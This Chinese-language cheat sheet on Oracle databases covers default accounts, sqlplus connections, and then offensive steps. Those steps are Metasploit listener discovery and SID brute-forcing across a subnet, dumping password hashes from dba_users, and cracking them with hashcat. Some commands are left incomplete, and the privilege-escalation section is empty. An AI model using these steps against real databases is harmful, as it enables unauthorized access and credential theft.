[Oracle]必备知识点
默认账户
修改口令及解锁SQL> alter user scott identified by mypassword;
SQL> alter user scott account unlock;
更多信息请参考《系统默认ORACLE用户及口令》 SQLPlus连接利用系统认证建立本地连接操作系统认证,不需要数据库服务器启动listener,也不需要数据库服务器处于可用状态。比如我们想要启动数据库就可以用这种方式进入sqlplus,然后通过startup命令来启动。 sqlplus /nolog
SQL> connect / as sysdba
利用用户名口令建立本地连接连接本机数据库,不需要数据库服务器启动listener,但是需要数据库服务器处于可用状态。 sqlplus user/pass
sqlplus sys/change_on_install as sysdba
建立远程网络连接远程网络连接的常用方法,需要数据库服务器启动listener,且处于可用状态。 sqlplus user/pass@//ip:port/sid
eg:
sqlplus scott/tiger@//192.168.10.12:1521/orcl
查询权限命令查询用户、权限、角色
弱口令探测服务器发现msf > use auxiliary/scanner/oracle/tnslsnr_version
msf auxiliary(scanner/oracle/tnslsnr_version) > set RHOSTS 192.168.10.0/24
msf auxiliary(scanner/oracle/tnslsnr_version) > set THREADS 5
msf auxiliary(scanner/oracle/tnslsnr_version) > run
破解SID// oracle v9.2.0.8 -
msf > use auxiliary/scanner/oracle/sid_enum
// oracle v9.2.0.8 +
msf > use auxiliary/admin/oracle/sid_brute
msf > use auxiliary/scanner/oracle/sid_brute
弱口令探测
msf > use
root@kali# hydra
数据库口令破解
SQL> select username,password from dba_users;
USERNAME PASSWORD
------------------ --------------------
SYS D4C5016086B2DC6A
SYSTEM D4DF7931AB130E37
...
[ Hash modes ]
3100 Oracle H: Type(7+)
112 Oracle S: Type(11+)
12300 Oracle T: Type(12+)
root@kali# hashcat -a 3 -m 3100 -o cracked.log hash.list ?l?l?l?l?l --remove --force
系统提权(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |